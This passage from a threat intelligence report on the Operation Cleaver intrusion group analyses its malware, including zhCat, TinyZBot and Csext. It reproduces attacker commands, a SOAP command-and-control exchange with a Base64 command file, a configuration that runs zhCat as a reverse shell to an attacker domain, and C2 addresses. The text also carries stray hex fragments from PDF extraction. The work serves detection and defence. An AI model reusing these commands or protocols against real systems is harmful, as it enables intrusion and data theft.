zhcat.exe p 1000 i 192.168.116.128 e6 The server instance would use the following command: 96 86 zhcat.exe p 1000 546 When we run both of these, we can send information just by typing it into the terminal of the running application. Information can be supplied by standard input. 43 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 zhCat (cont.) If we observe the network communications during this transfer, we can see the following HTTP POST request. Note: research into ebizmba.com did not turn up any additional evidence of being involved with the development of zhCat. On the server side, we can see our message has been received: If stricter egress filtering is enabled, the attackers can use zhCat to also XOR encrypt the traffic with a shared key. These keys are stored inside zhCat. The following is the key used for XOR encryption: Sorry! The handle to file %s is not a valid handle any more.\nSorry! The handle to file %s is not a valid handle any more. The \n represents hex character 0x0A, which is a new line character. An attacker could set up a server instance of zhCat with the following command in order to enable both HTTP and XOR obfuscation: zhcat.exe p 1000 The client instance could then be invoked with the following command: zhcat.exe p 1000 i 192.168.116.128 Once again, information can be supplied via standard input. #OPCLEAVER zhCat (cont.) Upon inspecting the network traffic again, we see the following HTTP POST request. 6 f 20476 f64 4 4 20see this information being received: On the server side, we can c c2 04576696 zhCat has a variety of other features such as port mirroring as well as traffic redirecting. PLink b2 PLink is one of the many utilities provided in the PuTTY (SSH) suite, which has many benign e6 purposes. It is capable of communicating over various protocols, the most notable being SSH. 6 The SSH protocol is a heavily utilized encrypted protocol, most commonly used for remote 9 administration of UNIX based operating systems. PLink is designed to implement some of the 6 8 SSH functions related to forwarding traffic as well as other functionality. 546 Operation Cleaver uses PLink to forward local RDP ports to remote SSH servers. This allows them to easily connect to RDP servers inside the networks of their victims. These RDP connections can be used to exfiltrate information visually, as well as to remotely control the computers hosting the RDP servers. 45 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 SMTP Early Cleaver operations abused SMTP in order to exfiltrate information. The sending is performed by internally developed malware samples such as TinyZBot and Csext in order to exfiltrate information about the infected computer, as well as requested files and keystroke logging information. Messages were sent using an open SMTP relay at BeyondSys.com with the sender email address dyanachear(at)beyondsys.com. This allowed the attackers to use infrastructure that was not theirs to exfiltrate information. The known recipient addresses of this information were testmail_00001(at)yahoo.com and TerafficAnalyzer(at)yahoo. com. In order to deceive anyone reading these emails, they made them appear to be a spam message that most would not think twice about. The subject used is the following: No Prescription required. Viagra Dosages: 25, 100, 150mg. Fast worldwide delivery. The message used is the following: Buy Viagra150mg x 50 tablets for only $124.99! No Prescription required. Viagra dosages: 150, 100, 25mg. Fast Worldwide Delivery. See the attachment movie. Free bonus trip. bestviagra4u.cn The files being exfiltrated are added to the email as attachments. SOAP SOAP is a sub-protocol communicated via HTTP. In relation to Operation Cleaver, it is used as the command and control protocol for TinyZBot, which was the preferred backdoor, and underwent long-term development. HTTP communications are often used by botnets, but it is uncommon to use a sub-protocol such as SOAP. It is likely that SOAP was used because it is simple to implement in C#, and has the added benefit of blending in with other benign HTTP traffic. As part of TinyZBot s command and control protocol, files can be exfiltrated over SOAP to the command and control server. For more information about TinyZBot, see the Persistence section. #OPCLEAVER PERSISTENCE Persistence is the means of maintaining access to a compromised network. There are limitless methods of persistence; the following are techniques and tools for persistence used by Cleaver. TinyZBot TinyZBot is a backdoor developed in C#. This bot is the longest developed malware we have analyzed from this organization. The earliest known version was compiled in January 2013 and we continued to see new versions being created actively. The purpose of TinyZBot is to gather information from an infected computer as well as maintain and further access into a compromised network. f20476 f64 TinyZBot was developed with the clear intention of targeted campaigns. The name TinyZBot is 6 4 assumed to be referring to this project as a less versatile version of the ZeuS botnet, although 4 20 it does not exhibit the major browser injection features of ZeuS. To be clear, TinyZBot shares no code with ZeuS or its variants, and is developed in a different programming language. The c majority of the code in TinyZBot was created by Cleaver. c2 04576696 TinyZBot Features TinyZBot supports a wide array of features that continually evolved over time. For the evolution of features, see the History section. The following is a list of supported features: SMTP exfiltration 2 Log keystrokes b Monitor clipboard activity 6 Enable a SOAP-based command and control channel e Self-updating 96 Download and execute arbitrary code Capture screenshots 86 546 Extract saved passwords for Internet Explorer Install as a service Establish persistence by shortcut in startup folder Provide unique malware campaign identifiers for tracking and control purposes Deceptive execution methods Dynamic backdoor configuration FTP exfiltration Security software detection Ability to disable Avira antivirus Ability to modify PE resources Dynamic plugin structure 47 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 TinyZBot Command and Control Protocol The command and control mechanism for TinyZBot utilizes SOAP communicating over HTTP. Potential reasons for using SOAP are: 1. SOAP-based communications are simple to implement in C#. 2. SOAP traffic could easily be considered benign traffic, as it is not commonly seen in malware. As part of SOAP communications, a URI is specified. This is internal to the sub-protocol, and does not necessarily reflect the URI of the host running the SOAP server (ASMX file). In the case of TinyZBot, and many examples for developing SOAP applications, this URI is tempuri.org. Since the first version of the SOAP-based command and control protocol was implemented, TinyZBot used what is referred to as a dynamic password . The result of this is a cryptographically hashed version of the server time (which must be obtained through a SOAP query), the TinyZBot s GUID, and the TinyZBot s AppUsageID (campaign identifier). For the command and control examples below, red text represents TCP data sent from the TinyZBot infection while blue text represents TCP data sent from the command and control server. The server time lookup query invokes the SOAP command GetServerTime. POST /checkupdate.asmx HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433) Content-Type: text/xml; charset=utf-8 SOAPAction: http://tempuri(dot)org/GetServerTime Host: microsoftactiveservices(dot)com Content-Length: 291 Expect: 100-continue Connection: Keep-Alive HTTP/1.1 100 Continue HTTP/1.1 200 OK Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 06 Oct 2014 13:36:47 GMT Content-Length: 392 #OPCLEAVER TinyZBot Command and Control Protocol (cont.) 2014-10-06T13:36:47.2193601Z This is the first query done by a running TinyZBot instance, and needs to be done shortly before most other queries, in order to update the dynamic password. Commands, updates and files to drop and execute are stored as files on the SOAP server, and access is restricted by the AppUsageID as well as the bot GUID. This allows for commands to be 6f20476 f64 sent to all bots for a campaign as well as individual control. The TinyZBot queries the server in order to enumerate all files currently available to it. 4 4 0 User-Agent: Mozilla/4.0 2 POST /checkupdate.asmx HTTP/1.1 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433) c Content-Type: text/xml; charset=utf-8 c2 SOAPAction: http://tempuri(dot)org/GetFileList Host: microsoftactiveservices(dot)com 04576696 Content-Length: 425 Expect: 100-continue HTTP/1.1 100 Continue 00cf6217-8c7e-4598- b155-65ebd949bba9XYZCOabefc81BDFF;1.0.0 6b HTTP/1.1 200 OK Cache-Control: private, max-age=0 e Content-Type: text/xml; charset=utf-8 6 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 9 X-Powered-By: ASP.NET Date: Mon, 06 Oct 2014 13:36:47 GMT Content-Length: 1474 86 546 [ALL]__b93c-49a1-140914084450__[0000000000000000000000000000 0000].tmu[ALL]__b93c-49a1-140914084612__[0000000000000000000000000000 0000].tmu[ALL]__b93c-49a1-140914084619__[00000000000000000000000000000 000].tmu[ALL]__b93c-49a1-140914084628__[00000000000000000000000000000 000].tmu[ALL]__b93c-49a1-140914084638__[00000000000000000000000000000 000].tmu[ALL]__b93c-49a1-140914084644__[00000000000000000000000000000 000].tmu[ALL]__b93c-49a1-140914084659__[000000000000000000000000000000 00].tmu[ALL]__b93c-49a1-140914084715__[0000000000000000000000000000000 0].tmu[ALL]__b93c-49a1-140914084732__[00000000000000000000000000000000 ].tmu[ALL]__b93c-49a1-140914084741__[00000000000000000000000000000000]. tmu[ALL]__b93c-49a1-140914090807__[00000000000000000000000000000000].tmu[ALL]__b93c-49a1-140915103605__[00000000000000000000000000000000].tmu[ALL]__b93c-49a1-140915103610__[00000000000000000000000000000000].tmu In order to download the file and parse for commands to execute, the TinyZBot must request the file. The file is downloaded Base64-encoded inside of the SOAP response. POST /checkupdate.asmx HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433) Content-Type: text/xml; charset=utf-8 SOAPAction: http://tempuri(dot)org/GetFile Host: microsoftactiveservices(dot)com Content-Length: 478 Expect: 100-continue HTTP/1.1 100 Continue 00cf6217-8c7e-4598-b155-65ebd949bba9XYZCOabefc81[ALL]__b93c-49a1-140914084450__ [00000000000000000000000000000000].tmu HTTP/1.1 200 OK Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 06 Oct 2014 13:36:47 GMT Content-Length: 652 OzIwMTQwOTE0X18wODQ0NTANClJVTkNNRD1jbWQuZXhlLC9DIGlwY29uZmlnIC9hbGwgP j4gIltJTkZPTERFUl1cZDJkYjY5NmEtMzM2Ny00Njk5LWE4MTUtZGYwOTA5OGJjNTk2LnR4dCIgMj4mMQ0KV VBMT0FEPVtJTkZPTERFUl1cZDJkYjY5NmEtMzM2Ny00Njk5LWE4MTUtZGYwOTA5OGJjNTk2LnR4dA0KREVMR VRFPVtJTkZPTERFUl1cZDJkYjY5NmEtMzM2Ny00Njk5LWE4MTUtZGYwOTA5OGJjNTk2LnR4dA== #OPCLEAVER TinyZBot Command and Control Protocol (cont.) The command file downloaded in this example is as follows: ;20140914__084450 RUNCMD=cmd.exe,/C ipconfig /all >> [INFOLDER]\d2db696a-3367-4699-a815-df09098bc596.txt 2>&1 UPLOAD=[INFOLDER]\d2db696a-3367-4699-a815-df09098bc596.txt DELETE=[INFOLDER]\d2db696a-3367-4699-a815-df09098bc596.txt The first line is a timestamp of the command. The TinyZBot command parser ignores it. The RUNCMD line requests that cmd.exe be executed, with the command ipconfig /all being redirected to a file in a directory designated for files to be uploaded. The UPLOAD command requests that this file is then uploaded over SOAP to the command and control server. The DELETE command then requests that the file be deleted from the infected system. f20476 f64 The following is a list of supported commands that TinyZBot responds to: 6 KILL 4 4 COPY REPLACE 2 0 DEEPKILL GETSCREENSHOT CREATEUPLOADLIST UNLOADALL RELOADALL DELETE EXIT FORCERESTART ADDSEC c UPLOAD EXITFORCE FORCEEXIT REMSEC c2 FUPLOAD RUNAVDETECTOR UNLOADMODULE ADDKV 04576696 CLEARFILES RUNWAIT RELOADMODULE CHGKV CLEAROUPUTFOLDER RUNCMD LOADMODULE REMKV SAVECONFIG UCMD UNLOADM ADDK SAVETOCFGFILE GETINFO RELOADM REMOVEK RESTART GETSCREENSHOTHQ REMOVEM RestartForce Commands such as GETINFO are often run on newly infected systems, as they decide whether the infection has hit the correct target. There are additional SOAP commands, but they will not be 2 covered in detail. The following is a list of all the SOAP commands: CheckFileMD5, GetFile, b GetFileList, GetServerTime, UploadFile. e6 6 Deception 9 86 546 TinyZBot is commonly installed using some form of deception. Recent versions use the resume- based methods reported in the Initial Compromise sections. An additional method was used for earlier versions. When early versions of TinyZBot were executed, they opened an image stored in the resource section of the executable and copied the malicious TinyZBot executable to the %AppData% directory. Many of the images identified were of the popular Lebanese singer and actress Haifa Wehbe. The backdoor additionally replaced the original malicious executable with an appropriately named image file and padded the image file with null bytes in order to mirror the original file size. 51 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 History The earliest known version on TinyZBot was compiled on January 27, 2013. This early version had very little functionality. It was limited to logging keystroke data, sending emails, and creating a link in the user s startup folder for persistence. Its method of exfiltrating the logged keystrokes relied upon a hardcoded email address stored in the binary. The sender email address was dyanachear(at)beyondsys.com and emails were destined for testmail_00001(at) yahoo.com. The message was intended to look like common Viagra spam from China, but would be sent with the keystroke logging data as attachments, as well as system information. The initial version did not provide any means of receiving commands and was obfuscated with SmartAssembly. The following iteration compiled on March 12, 2013, only contained minor bug fixes. The next version was compiled on April 24, 2013. This version starts to look more like an average bot. A command and control protocol was established, using HTTP and SOAP for the protocol. The command and control server for this version was located at 173.192.144.68/ DefaultWS(dot)asmx. This new command and control protocol allowed for the addition of quite a few other features. An update mechanism was added, and could be regularly scheduled, so unassisted periodic update checks were automatically performed. The SOAP API used a dynamic password mechanism, which required the computation of a simple key in order to access certain parts of the API. The email data exfiltration method also underwent modification to be activated at a scheduled interval. There were also some changes, which looked to be bug fixes, such as limiting the number of times sending an email could fail. The next day, April 25, 2013, a new version was compiled which allowed for self-deletion. On May 14, 2013, we noticed a change which assisted in the identification of active targets. The AppUsageId (at this point named AppType) was an identifier used by this organization in order to differentiate between targets infected with TinyZBot, meaning they could effectively run multiple campaigns using the same command and control server and know which target was infected. This also allowed for separate commands to be supplied to different targets without the need for per-bot commands. At this time, the AppUsageId was total0, but later we observed names, which aligned with active targets. The exfiltration email address was also changed to TerafficAnalyzer(at)yahoo.com. On June 17, 2013, there was an addition that allowed for the loading of configuration data from the PE s resources. At this time, it was limited to the exfiltration email address. This version was not obfuscated with SmartAssembly #OPCLEAVER History (cont.) We do not see a new version of TinyZBot until June 7, 2014. There are quite a few notable improvements, but nowhere near enough to indicate consistent development on the project for a year. SmartAssembly was reused again. A method was added to detect what security related software is installed. Avira antivirus was specifically targeted and disabled, due to its detection of the new keystroke logger module added in this version. This keystroke logger source is publicly available and referred to as DeadkeyLogger. A new string encryption class is added, but the code was copied and pasted from a Microsoft example. The ability to extract Internet Explorer passwords was added. Clipboard monitoring code was added, but not invoked. The emailing features were removed, but the classes which 20476 f64 previously contained them were still present but empty. Many more options were enabled to 6 f be loaded from PE resources. The ability to add PE resources was added. Another version was 4 4 compiled on June 7, 2014, with no feature difference. 0 On June 17, 2014, we see2the first instance of Binder_1, which is aptly named, as it is a binder. c The legitimate application used in this version of Binder_1 was compiled on August 22, 2013, c2 and is a self-extracting archive of desktop wallpapers, including an image from the game Mirror 04576696 Edge. The TinyZBot included was the version compiled on June 7, 2014. The version compiled on June 23, 2014, added functionality which allowed screenshots of the desktop to be taken. On August 2, 2014, we see another version without SmartAssembly obfuscation. A bug fix is made to the keystroke logging method, and clipboard monitoring is enabled. 6b2 Three items were compiled on August 18, 2014. Two of them are TinyZBot binaries, which contain e a minor key logging bug fix. The third is a new Binder_1 instance, which contains one of the 6 TinyZBot instances compiled that day. The legitimate application included in this binder is called 9 Easy_resume_creator and is a legitimate application named EasyR CreatorPro. This 86 version targeted a major Saudi Arabian oil company. 546 From August 23 to August 26, 2014, new versions of TinyZBot were compiled with the AppUsageIds targeting major oil and gas companies in Qatar and Kuwait, Ministries of Foreign Affairs in the Persian Gulf, and a major airline holding company in UAE. These versions of TinyZBot moved towards a more modular architecture where each component was in its own .NET assembly. This was presumably done to limit antivirus detection of each individual file as well as allow for dynamic updating of specific modules. All of these were included in their own Binder_1 instance, which also dropped Easy_resume_creator. 53 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 History (cont.) There also seem to be improved software engineering practices in many locations. FTP upload support was added, with hardcoded credentials of ano:1. This FTP upload functionality points to the command and control server, and is invoked by a command in the SOAP command and control channel. These versions have the capability to install as a service. On August 25, 2014, the version compiled on August 18 was submitted to VirusTotal in a ZIP archive located at http://dl.doosan-job(dot)com/cv/Easy_Resume_Creator- v2.0.zip. This indicates that TinyZBot is not only being installed while impersonating a r creation suite, but is also impersonating potential employers when distributed. On September 9, 2014, a ZIP file containing TinyZBot and a configuration targeting a major US university with its AppUsageId was created. This was discovered on an anonymous FTP server in the same IP range as dl.doosan-job(dot)com along with other malware. From September 11 through September 17, 2014, some TinyZBot components were compiled, along with a new dropper. This dropper impersonated a tool to submit a r to Teledyne. When executed, the user is prompted to enter personal information, and at the end is given a button to submit the r to Teledyne, although nothing is actually submitted. While the user enters this information, their machine is infected with TinyZBot. The AppUsageIds for these versions target a major US-based university as well as an Israeli aerospace company. These versions began to include a new method of installing as a service. The service runs with the name Network Connectivity Manager. Interesting Notes TinyZBot, as well as some other tools (Csext, Net Crawler) initially would not run without a command line parameter set. This was likely to avoid detonation-based detection engines. This command line parameter was opensesemi which is often stored in the application s code in an obfuscated manner. The binders and droppers for TinyZBot provided this command line argument and others when executing. TinyZBot uses a dynamic mutex. This was accomplished by combining a static preset prefix with the active process ID. This allowed supplemental tools to keep TinyZBot running by enumerating every process and checking if the process ID and mutex prefix existed. If no mutex and process pair was located, another TinyZBot instance would be started. #OPCLEAVER Command and Control Servers 88.150.214.168, United Kingdom, microsoftactiveservices(dot)com 95.211.241.249, Amsterdam, Noord-Holland, Netherlands 88.150.214.166, United Kingdom 173.192.144.68, Seattle, Washington, USA 188.227.180.213, United Kingdom 192.111.145.197, Rochester, New York, USA Backdoors Multiple backdoors were used by this organization. These are scripts or applications that allowed for command or code execution outside of the victim network. Many of their backdoors were web f20476 f64 applications, added to web servers, so commands can be executed from a browser or client able 6 4 to communicate with them. This group includes the results of the Shell Creator mentioned in the 4 20 Attribution section, as well as ASPX backdoors used by Nesha. A PHP shell was also observed, which also included attribution to Nesha in its hashed password. c c2 An ASPX backdoor named Zh0uSh311 was located on live servers as well as recovered from 04576696 a staging server. This backdoor does not require authentication, and its use appears to be straightforward. Its functionality breaks down into three fairly standard components: SQL queries, executing commands, and uploading files. 6b2 6e 9 86 546 Figure 24: The ASPX backdoor named Zh0uSh3ll , allowing SQL queries. 55 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 Figure 25: The ASPX backdoor named Zh0uSh3ll , allowing file This organization utilized backdoors which masqueraded as varying versions of Notepad. They replace the existing Notepad.exe on the infected machine, and when run they call out to a remote server and execute any shell code returned by the remote server. There will be a detailed analysis of these backdoors posted to Cylance s blog in the future. PVZ PVZ is a name for a set of executables used together to create a botnet. The name PVZ was assigned by us as this is one of the few tools this organization has not named themselves. #OPCLEAVER PVZ (cont.) The components are as follows: PVZ-In PVZ-Out Syn Flooder LoggerModule XYNTService Jasus XYNTService was not developed by the Cleaver team, but instead is a publicly available project which executes an executable as a service. PVZ-In 6f20476 f64 4 4 The purpose of PVZ-In 2 0 is to communicate with a command and control server. Communication c is primarily unidirectional, as little information is provided from the bot to its command and c2 control server. The known command and control server is located at http://kundenpflege. 04576696 menrad(dot)de/js/jquery/default.aspx and the command and control protocol only uses HTTP. The commands as well as infected computer information are transferred in the Content- Disposition HTTP header, making the traffic easy to pass over as benign. When a command is received from the server, the results are stored in a central location on disk that the PVZ tools utilize. Command functionality is limited to executing supplied commands, downloading and executing executables as well as self-updating. b2 The debug file path for PVZ-In is: e6 6 C:\Users\parviz\documents\visual studio 2010\Projects\BotManager\ 9 Release\BotManager.pdb 6 8 546 PVZ-In has been observed using the file name ossisvc.exe. PVZ-Out PVZ-Out is the other half of the command and control channel, primarily uploading results of commands and keystroke logging data to a remote server. The known command and control server for PVZ-Out is located at http://www.gesunddurchsjahr(dot)de/tor/default.aspx. Much like PVZ-In, this command and control channel communicates with the Content-Disposition HTTP header, but for file data, POST data is supplied. 57 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 Data uploaded is often compressed, which can make it more difficult to detect the exfiltration of sensitive information. The debug file path for PVZ-Out is: C:\Users\Parviz\documents\visual studio 2010\Projects\SendModule\ Release\SendModule.pdb PVZ-Out has been observed with the file name osppsvc.exe. SYN Flooder SYN Flooder is a simple network based denial of service tool. It is a command line utility capable of being invoked by PVZ-In. Targeting information is supplied via command line parameters. The debug file path for SYN Flooder is: C:\Users\parviz\Documents\Visual Studio 2010\Projects\socket-test\ Release\socket-test.pdb SYN Flooder has been observed using the name ossysvc.exe. Logger Module Logger Module observes the user s actions and records them to a file. The recorded actions include mouse clicks, active windows, keypresses, as well as clipboard data. The resulting log is written out to a location where PVZ-Out can exfiltrate it to its command and control server. Logger Module has been observed using the name ospcsvc.exe. The following command and control servers for Logger Module have been observed: 212.87.154.14, Baden-Wurttemberg, Germany, kundenpflege.menrad(dot)de 212.87.154.12, Baden-Wurttemberg, Germany, www.gesunddurchsjahr(dot)de wndTest WndTest is the evolution of the PVZ tool chain into a single executable. The tool chain is minimized down to a command and control communications, keystroke logging, and clipboard monitoring. The command and control still supports upgrading, downloading, and executing of applications, as well as executing batch scripts. WndTest installs as a service and has been observed attempting to impersonate Adobe Report Service. WndTest starts using PHP servers for its command and control server, some of which are listed as defaced sites. #OPCLEAVER We have seen wndTest communicate with the following servers: 209.208.97.44, Orlando, Florida, USA, www.lat(dot)am 23.238.17.181, Tulsa, Oklahoma, USA, regulatorfix(dot)com 209.208.97.44, Orlando, Florida, USA, www.asiess(dot)com 198.50.100.210, Quebec, Canada, halon(dot)com.br 207.182.142.68, Columbus, Ohio, USA 95.211.191.247, Amsterdam, Noord-Holland, Netherlands Csext Csext is a backdoor application developed in C# which runs as a service. Its primary functionality is based on commands supplied by its configuration file. The configuration file is able to store 6f20476 f64 specific commands, which are intended to run at particular times. A recovered configuration is as follows: 44 20 domain1=srv01.microsoftwindowsupdate(dot)net,check.html,3 %% c c2 {0}\{zhname}$$ -h -x -i {domain1} -p 443 -e c:\windows\system32\cmd. 04576696 exe ,taskkill.exe$$/F /PID {pid},00:29,00:35 %% ## This configuration executes zhCat to connect back to srv01.microsoftwindowsupdate(dot)net (a deceptive domain owned by this group with falsified Whois data attributing to Microsoft Investor Relations) with XORed communication using the HTTP protocol on TCP port 443. This zhCat 2 instance is running cmd.exe, effectively making it a reverse connecting shell. This command b runs at 00:29 in the morning, and is killed by taskkill at 00:35. This gives the attackers a 6 predictable method to regain access to a compromised network if they ever lose access. 6e 9 Csext also has email functionality similar to TinyZBot. This email functionality is used to exfiltrate 6 the results of commands from the command file which can also include requests like gathering 8 user information. 546 We have seen Csext configured to communicate with the following servers: 78.47.102.90, Germany, srv01.microsoftwindowsupdate(dot)net 174.36.195.158, Washington D.C, USA, srv01.microsoftupdateserver(dot) net 59 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 MITIGATION COVER MITIGATION TTP COVER HERE 6f20476f6f64 44 20 c c2 b204576696 6e6 9 86 546 #OPCLEAVER #OPCLEAVER MITIGATION If after reviewing the Indicators of Compromise (IOC) listed in Appendix A, you believe your organization to be a victim of Operation Cleaver, we recommend you consider the following course of action: 1. If inside the United States, contact the Federal Bureau of Investigation (FBI) via either your local FBI team or FBI CYWATCH at 1-855-292-3937 or cywatch@ic.fbi.gov. 2. If outside the United States, contact your local, district, state or federal law enforcement authorities. 20476 f64 3. If you have visibility into the attacks on your company and the tools and expertise to track them 6f down, leverage the IOCs in Appendix A to identify their presence in your network, prevent them 4 4 from expanding the scope of the compromise, and remove their access immediately. 20 into the attacks, need help identifying an existing successful 4. If you do NOT have visibility c c2 compromise in your organization, or more importantly wish to prevent this attack or attacks similar to Operation Cleaver, please contact your security provider. 04576696 5. If you wish to contact Cylance for additional details not available in this report, please email opcleaver@cylance.com. 6. If you would like to learn more about Cylance products and professional services, or discuss how Cylance can mitigate Operation Cleaver s impact to your organization, please contact us directly. 6b2 +1 (877) 973 - 3336 6e 9 opcleaver@cylance.com 6 8 www.cylance.com 546 61 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 SPECULATION SPECULATION COVER TTP COVER HERE 6f20476f6f64 44 20 2c 6b204576696c e 96 86 546 #OPCLEAVER #OPCLEAVER SPECULATION: THE WHY Iran in 2014 can probably be best described as galvanizing. They have long been an enemy the west, and the United States in particular, but today s headlines include a variety of topics from nuclear talks to human rights to terrorism to cyber hacking. Iran continues to be extremely active on the global stage and thereby on the radar of every superpower.10 Iran s cyber sophistication has grown rapidly since the dawn of Stuxnet and they have used hard dollars combined with national pride to help build their cyber army. Few doubt their commitment as a government and nation state to funding and recruiting cyber warriors to infiltrate and damage their enemies. And it has been commonly postulated that almost all activity since 2010 coming out of Iran is associated with retaliation for Stuxnet/Duqu/Flame, which seems natural given the severity 20476 f64 of the impact. But they don t need Stuxnet as motivation to want to hack the world. They have long 6 f desired power on the political stage, in particular in the fight for nuclear power autonomy. With the deadlines around0 44 the Iranian nuclear discussions pushed to 2015, the attacks may be tied 2 discussing a pact with the nuclear superpowers of United States, Britain, to negotiating power when c c2 France, Germany, Russia and China. 04576696 The inner workings of the Iranian government remain largely a mystery to the western world. However, Iran s control over its people and the private businesses birthed inside has been well reported. In a 2014 Reuters article, the reporters detail how the secret Iranian organization called Setad Ejraiye Farmane Hazrate Emam has become one of the most powerful organizations in the country, capable of taking over properties and businesses, buying controlling interests in numerous sectors including finance, oil, telecommunications and many others totaling in upwards of $95B.11 Even the US Treasury has documented an extensive fronting of companies in its report of Execution b2 of Imam Khomeini s Order (EIKO), which through its two main subsidiaries controls 37 private 6 businesses that are purely front companies for the Iranian government.12 6e The history of Iran controlling the usage of the Internet and the very Internet on-ramps into Iran is 9 well known13, 14. They have controlled much of the country s Internet access to date and have taken 86 over controlling interests in those companies to carry out their work. Given Operation Cleaver 546 frequent spin-up and take-down of large IP blocks inside the AFRANET IP space inside Iran, and Iran s well recorded investment in cyber warfare14 leads us to one simple conclusion: Iran is extremely active in the world of hacking. 63 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 Speculation: The Why (cont.) Involvement with North Korean Operation Cleaver s intense focus on critical infrastructure companies, especially in South Korea, hints at information sharing or joint operations with Iran s partner, North Korea. In September, 2012, Iran signed an extensive agreement for technology cooperation agreement with North Korea, which allows for collaboration on a variety of efforts including IT and security.6 Cyber Moving to Physical Operation Cleaver s carefully selected targets like the oil and gas industry, energy and utility companies, as well as airlines and airports, indicates Iran s desire to gain deep access into the world s most critical environments. The end goal of this operation is not known at this time. University Recruitment University student recruitment was hinted at within Operation Cleaver and is consistent with Iran s reported history of active warrior recruitment in the educational space.15 Overall, there are many reasons that Iran may be pursuing the targets they did in Operation Cleaver. While we may never truly know, it is important to consider all the above and more when trying to understand the why. CONCLUSION 6f20476f6f64 44 20 c c2 b204576696 6e6 86 546 #OPCLEAVER 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 CONCLUSION After tracking the Operation Cleaver team for over two years, we re led to the inexorable conclusion: the government of Iran, and particularly the Islamic Revolutionary Guard Corps (IRGC), is backing numerous groups and front entities to attack the world s critical infrastructure. As security experts in Critical Infrastructure and Key Resources (CIKR), Industrial Control Systems (ICS), Supervisory Control and Data Acquisition (SCADA) systems, Building Management Systems (BMS), embedded systems and fixed-function systems, we know how easy they are to hack. We have worked with countless customers and vendors throughout the years to notify them of vulnerabilities, assist with remediatation efforts, and help mitigate threats to their environments. Unfortunately, many critical infrastructure organizations are unable to secure their complex envirnoments against modern attacks. They fall victim to the glue flu , a malaise of feeling stuck, not wanting to change the status quo for fear they will find problems that they have no idea how to prevent. This security anaphylaxis spells real disaster. If Operation Cleaver doesn t get the world to wake up to what is happening in the silent world of cyber, then perhaps nothing will. Prevention is everything and we should never give up until it achieved. Challenge your trusted advisors. Challenge your security vendors. Demand better technology and services to detect, respond, but most importantly PREVENT not just contemporary attacks, but future exotic attacks that have yet to be imagined. That is what truly disruptive and innovative technology is. Don t settle for anything less. We hope that by exposing the Operation Cleaver team to the world, current global critical infrastructure victims can be notified, and prevent future victimization from suffering the consequences of status quo security. Unlike United Flight 811, perhaps we can prevent the next disaster. DEFENDERS, NEVER GIVE UP! #OPCLEAVER REFERENCES [1] Aboard Flight 811: Passengers Routine Dissolves Into Terror - February 1989 http://www.nytimes.com/1989/02/26/us/aboard-flight-811-passengers-routine-dissolves-into-terror.html [2] Forget China: Iran s Hackers Are American s Newest Cyber Threat - February 2014 http://complex.foreignpolicy.com/posts/2014/02/18/forget_china_iran_s_hackers_are_america_s_newest_cyber_ threat [3] Developments in Iranian Cyber Warfare 2013-2014 - August 2014 http://www.inss.org.il/uploadImages/systemFiles/SiboniKronenfeld.pdf [4] Iran ups cyber attacks on Israeli computers: Netanyahu - June 2013 http://uk.reuters.com/article/2013/06/09/us-israel-iran-cyber-idUKBRE95808H20130609 6 f20476 f64 [5] Iranians hacked Navy network for four months? Not a surprise. - February 2014 44 http://arstechnica.com/information-technology/2014/02/iranians-hacked-navy-network-for-4-months-not-a-surprise/ [6] Iran and North Korea Sign 0 2 Technology Treaty to Combat Hostile Malware - September 2012 http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware# c c2 [7] Iran s Paramilitary Militia Is Recruiting Hackers - January 2011 04576696 http://www.forbes.com/sites/jeffreycarr/2011/01/12/irans-paramilitary-militia-is-recruiting-hackers/ [8] The Iranian Nuclear Weapon - January 2014 http://webcache.googleusercontent.com/search?q=cache:eJbMz7vynpQJ:iranredline.org/index. php%3Fid%3D22+&cd=1&hl=en&ct=clnk&gl=us [9] HPSR Threat Intelligence Briefing Episode 11, February 2014 - February 2014 http://www8.hp.com/h20195/v2/getpdf.aspx/4AA5-1589ENW.pdf?ver=1.0 2 [10] Intel boss warning on cyber attacks no joke, say experts - November 2014 b http://www.foxnews.com/world/2014/11/23/intel-boss-warning-on-cyber-attacks-no-joke-say-experts/ e6 [11] Khamenei controls massive financial empire built on property seizures - November 2013 96 http://www.reuters.com/investigates/iran/#article/part1 86 [12] Treasury Targets Assets of Iranian Leadership - June 2013 546 http://www.treasury.gov/press-center/press-releases/Pages/jl1968.aspx [13] Internet Censorship in Iran http://en.wikipedia.org/wiki/Internet_censorship_in_Iran [14] Iranian Internet - Fact and Faction http://surveillance.rsf.org/en/iran/ [15] Iran readying hacker attacks on U.S. infrastructure, specialists say - April 2012 http://www.washingtontimes.com/news/2012/apr/25/iran-readying-hacker-attacks-us-infrastructure-spe/?page=all 67 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 ABOUT CYLANCE In the face of growing and evolving threats, traditional cyber protection technologies are now widely considered inadequate. The only way to regain the upper hand against a new generation of attackers, is to embrace something entirely new. Something that thinks like an attacker. Something that doesn t rely on a trust model or care about hash lookups. Something with a 